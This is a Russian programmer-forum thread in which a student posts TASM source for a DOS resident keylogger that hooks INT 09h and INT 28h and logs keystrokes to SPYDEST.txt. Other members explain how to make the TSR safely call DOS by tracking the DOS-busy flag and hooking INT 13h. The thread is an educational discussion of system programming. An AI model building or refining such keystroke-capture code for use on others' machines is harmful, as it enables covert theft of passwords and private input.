Форум программистов, компьютерный форум, киберфорум
Assembler: DOS/Real Mode/16-bits
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.62/13: Рейтинг темы: голосов - 13, средняя оценка - 4.62
0 / 0 / 0
Регистрация: 01.05.2021
Сообщений: 6
TASM

Кейлоггер

01.05.2021, 19:16. Показов 2532. Ответов 4
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Добрый день, возникла проблема, нужно сделать кейлоггер, я написал новый обработчик прерываний клавиатуры(09h), но как я почитал в нем нежелательно вызывать какие либо другие прерывания и умные люди советуют для этих целей использовать прерывание 28h. Но проблема в том что оно не вызывается системой, что с этим можно сделать?
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
    .model  tiny
    .386
    .code
    org 100h
;code
start:  
    push    cs
    pop     ds
    call    INSTALL_HANDLER
    
;data   
FILE_NAME               db      "SPYDEST.txt", 0    
FILE_DESCRIPTOR         dw      0
FILE_BUFFER             db      ?
OLD_KEYBOARD_HANDLER    dd      0
OLD_INT28_HANDLER       dd      0
KEYBOARD_INT_FLAG       db      0
TEXT_ERROR_OF_OPENING   db      "Error of file opening$"
        
;procedures
NEW_KEYBOARD_HANDLER PROC FAR
    pushf
    call    cs:dword ptr OLD_KEYBOARD_HANDLER   
 
    pushf                         
    pusha                         
    push    es                      
    push    ds
    push    cs                      
    pop     ds
    
    in      al, 60h
    mov     FILE_BUFFER, al
    mov     KEYBOARD_INT_FLAG, 1
    
    pop     ds
    pop     es
    popa
    popf                        
    iret
NEW_KEYBOARD_HANDLER ENDP
 
NEW_INT28_HANDLER PROC FAR  
    pushf                 
    pusha
    push    es
    push    ds
    push    cs
    pop     ds
    cmp     KEYBOARD_INT_FLAG, 1           
    jne     SKIP_NEW_INT28_HANDLER             
    call    OPEN_FILE
    call    WRITE_CHAR_IN_FILE
    call    CLOSE_FILE
    mov     KEYBOARD_INT_FLAG, 0
 
    SKIP_NEW_INT28_HANDLER:
        pop     ds                      
        pop     es                      
        popa                          
        popf
        
        pushf
        call    cs:dword ptr OLD_INT28_HANDLER 
        iret
NEW_INT28_HANDLER ENDP
 
WRITE_CHAR_IN_FILE PROC
    push    cs
    pop     ds
    cmp     FILE_BUFFER, 20h
    jb      SKIP_WRITE_CHAR_IN_FILE
    cmp     FILE_BUFFER, 7Fh
    ja      SKIP_WRITE_CHAR_IN_FILE
    
    mov     ax, 4202h
    mov     bx, FILE_DESCRIPTOR
    xor     cx, cx
    xor     dx, dx
    int     21h
 
    mov     ah, 40h
    mov     bx, FILE_DESCRIPTOR
    mov     cx, 1
    mov     dx, offset FILE_BUFFER
    int     21h
    SKIP_WRITE_CHAR_IN_FILE:
        ret
WRITE_CHAR_IN_FILE ENDP
 
OPEN_FILE PROC FAR
    push    cs
    pop     ds
    mov     dx, offset FILE_NAME
    mov     ah, 3Dh
    mov     al, 2
    int     21h
    jc      ERROR_OF_FILE_OPENING
    mov     FILE_DESCRIPTOR, ax
    ret
    
    ERROR_OF_FILE_OPENING:
        mov     ah, 09h
        mov     dx, offset TEXT_ERROR_OF_OPENING
        int     21h
        mov     ax, 4C00h
        int     21h
OPEN_FILE ENDP
 
CLOSE_FILE PROC FAR
    push    cs
    pop     ds
    mov     ah, 3Eh
    mov     bx, FILE_DESCRIPTOR
    int     21h
    ret
CLOSE_FILE ENDP
 
END_OF_RESIDENT:
INSTALL_HANDLER PROC FAR
    call    CREATE_FILE
    
    mov     ax, 3509h
    int     21h
    mov     cs:word ptr OLD_KEYBOARD_HANDLER, bx
    mov     cs:word ptr OLD_KEYBOARD_HANDLER + 2, es
    mov     dx, offset NEW_KEYBOARD_HANDLER
    mov     ax, 2509h;
    int     21h
    
    mov     ax, 3528h                
    int     21h
    mov     cs:word ptr OLD_INT28_HANDLER, bx     
    mov     cs:word ptr OLD_INT28_HANDLER + 2, es    
    mov     dx, offset NEW_INT28_HANDLER
    mov     ax, 2528h                
    int     21h
    
    mov     ax, 3100h
    mov     dx, (start - END_OF_RESIDENT + 10Fh) / 16
    int     21h
INSTALL_HANDLER ENDP
  
CREATE_FILE PROC FAR
    mov     ax, 3D01h
    lea     dx, FILE_NAME
    int     21h                     
    mov     FILE_DESCRIPTOR, ax     
    jnc     FILE_IS_EXISTS
    
    mov     ah, 3Ch                 
    mov     cx, 02h                 
    lea     dx, FILE_NAME
    int     21h
    mov     FILE_DESCRIPTOR, ax
 
    FILE_IS_EXISTS: 
        call    CLOSE_FILE
        ret
CREATE_FILE ENDP
    end     start
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
01.05.2021, 19:16
Ответы с готовыми решениями:

КейЛоггер
Доброго вечера! Будьте добры помочь=) есть кейлогер, который отправляет нажатые клавиши на удаленный сервер. но если сервер недоступен, то...

Кейлоггер на C++
На кафедре поручили написать кейлоггер на плюсах, а я с системным программированием не сталкивался, не посоветуете какие-либо книги для...

Кейлоггер
Хочу написать свой кейлоггер, но не знаю с чего даже начать. Какие библиотеки использовать, как отслеживать нажатия клавиш и тд и тп. ...

4
780 / 412 / 75
Регистрация: 29.03.2013
Сообщений: 853
02.05.2021, 18:44
Цитата Сообщение от sveta_bi Посмотреть сообщение
умные люди советуют для этих целей использовать прерывание 28h. Но проблема в том что оно не вызывается системой, что с этим можно сделать?
Возможно, "умные люди" советовали использовать "прерывание 28", т.е. 1Ch, в котором, при достижении определённых условий, можно воспользоваться прерываниями системы для записи накопленных ранее данных?
0
0 / 0 / 0
Регистрация: 01.05.2021
Сообщений: 6
02.05.2021, 22:09  [ТС]
нет, именно 28h, оно должно вызываться каждый раз когда ожидается ввод с клавиатуры(т.е. когда в системе ничего не происходит), но почему-то у меня оно вообще не вызывается
0
Модератор
Эксперт по электронике
 Аватар для ФедосеевПавел
8655 / 4491 / 1669
Регистрация: 01.02.2015
Сообщений: 13,900
Записей в блоге: 12
02.05.2021, 23:35
Судя по
http://www.codenet.ru/progr/dos/int_0029.php
http://www.ctyme.com/intr/rb-4122.htm
Это НЕДОКУМЕНТИРОВАННОЕ прерывание DOS использует, когда ждет нажатия клавиши, а также перед вызовом некоторых функций DOS с номерами до 0ch включительно. PRINT (спулер DOS) перехватывает этот вектор, чтобы найти квант времени для чтения файлов и вывода на принтер. это прерывание используется также различными резидентными popup-программами (TSR).

Обычно TSR использует INT 28H как одну из нескольких своих точек входа. То есть, TSR перехватывает нажатия клавиш и/или другие триггерные события, и устанавливает флаг, если требуется активизация. затем, в процессе обработки INT 28H, TSR вызывает исходный обработчик этого прерывания, и, если флаг запроса установлен, активизирует свой код.

ВАЖНО:
Popup-программа НЕ должна использовать функций DOS с номерами вплоть до 0cH, пока она выполняется внутри INT 28H.
This interrupt is invoked each time one of the DOS character input functions loops while waiting for input. Since a DOS call is in progress even though DOS is actually idle during such input waits, hooking this function is necessary to allow a TSR to perform DOS calls while the foreground program is waiting for user input. The INT 28h handler may invoke any INT 21h function except functions 00h through 0Ch.
Т.е. структура программы должна быть следующей:
1. перехват прерывания клавиатуры, запоминание нажатой клавиши в некотором буфере
2. из нескольких прерываний (1Ch, 28h, 2Fh ещё каких-то) получает управление
3. получив управление кейлоггер проверяет:
- занятость DOS через какой-то флаг DOS (не помню детали)
- то, что управление получено не при выполнении критичных функций int 21h (для этого ранее перехватывается int 21h)
- то, что в буфере накопилось некоторое количество символов (не выполнять же запись из-за каждого символа)
- то, что символы в буфере есть, после предыдущей записи в файл прошло 5 минут
4. если всё в порядке, то кейлоггер открывает файл и производит дозапись в лог. Или файл лога открыт с самого начала.

Я подробно об этом читал в большой книжке - там построение резидента - основная цель обучения сквозь всю книгу.
Читал 20 лет назад и помню смутно.
Попробуйте найти материалы
FAQ для раздела Assembler, MASM, TASM тут 2 статьи по резидентам
https://www.cyberforum.ru/post5664788.html
https://www.cyberforum.ru/post5664789.html
литература
  1. Абель П. "Язык Ассемблера для IBM PC и программирования". - М.: "Высшая школа", 1992. - 447 с.
  2. Зубков С.В. "Assembler для DOS, Windows и UNIX". - М.: "ДМК Пресс", 2000. - 608 с.:ил.
  3. Джордейн Р. "Справочник программиста персональных компьютеров типа IBM PC, XT и AT". - М.: "Финансы и статистика", 1987. - 544 с.
  4. статья на http://shackmaster.narod.ru/docs.htm#tsr
  5. Касаткин А.И. Профессиональное программирование на языке СИ. Системное программирование.
  6. Касаткин А.И. Профессиональное программирование на языке СИ. Управление ресурсами.
  7. Ал. Стивенс. Техника программирования на Turbo C.
То, что часть литературы по языку C не должно смущать - там поясняется работа системы DOS, причины и способы решения. Большая часть моих представлений о резидентах из последних в списке книг.

Задание у вас непростое, вероятно, не лабораторка на 1 неделю, так что прочесть и выполнить ещё успеете. Там всего лишь 500-700 страниц.
1
Asm/C++/Delphi/Py/PHP/VBA
 Аватар для Jin X
6812 / 2052 / 238
Регистрация: 14.12.2014
Сообщений: 4,305
Записей в блоге: 12
07.05.2021, 11:56
Цитата Сообщение от ФедосеевПавел Посмотреть сообщение
из нескольких прерываний (1Ch, 28h, 2Fh ещё каких-то) получает управление
2Fh здесь, пожалуй, лишний.

Цитата Сообщение от ФедосеевПавел Посмотреть сообщение
- занятость DOS через какой-то флаг DOS (не помню детали)
Резидентная программа: сохранение содержимого дисплея в файл

Ещё нужно перехватывать int 13h (только не забыть правильно сохранять флаги на выходе), чтобы не выполнить случайно запись во время выполнения int 13h (низкоуровневая запись может использоваться не только в int 21h). Т.е. в прерывание зашли – выставили флаг "писать нельзя". Выполнили pushf+call dword ptr [OldInt13h], сбросили флаг "писать нельзя", правильно вышли из прерывания (сохранив флаги).

Вот вам прога в качестве примера грамотной работы со всей этой историей. Тут происходит захват экрана вместо чтения клавиши. Вместо прерывания 1Ch используется 08h (в целом, не суть). Ну и int 2Dh можно не использовать (как вариант, если надо, можно заюзать int 2Fh, там всё проще).
Вложения
Тип файла: rar scrgrb.rar (10.4 Кб, 11 просмотров)
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
07.05.2021, 11:56
Помогаю со студенческими работами здесь

Кейлоггер учитывает только одну раскладку
Добрый день. Пишу кейлоггер, который должен учитывать как русскую, так и английскую раскладки клавиатуры. Для получения раскладок...

Кейлоггер
Здравствуйте! Задание звучит так: Перехват и анализ нажатия клавиш на клавиатуре. Состоит из сервиса - перехватчика нажатия клавиш на...

Кейлоггер
Привет всем, практически дописал кейлоггер(взял из одного примера и переделал) вот код: Тут мы ищем нужное нам окошко и выставляем...

Кейлоггер
Всем привет! Хочу создать кейлоггер НА СВОЙ КОМП! То есть, не для рассылки, а чтоб проверить свой ноутбук, так как часто приходится...

Кейлоггер
написал кейлоггер, есть проблема когда че нидь набираешь, в лог пишется только английская версия клавиш большими буквами, и еще когда...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
5
Ответ Создать тему
Новые блоги и статьи
Символьное дифференцирование
igorrr37 13.02.2026
/ * Логарифм записывается как: (x-2)log(x^2+2) - означает логарифм (x^2+2) по основанию (x-2). Унарный минус обозначается как ! в-строка - входное арифметическое выражение в инфиксной(обычной). . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
Установка Qt-версии Lazarus IDE в Debian Trixie Xfce
volvo 10.02.2026
В общем, достали меня глюки IDE Лазаруса, собранной с использованием набора виджетов Gtk2 (конкретно: если набирать текст в редакторе и вызвать подсказку через Ctrl+Space, то после закрытия окошка. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru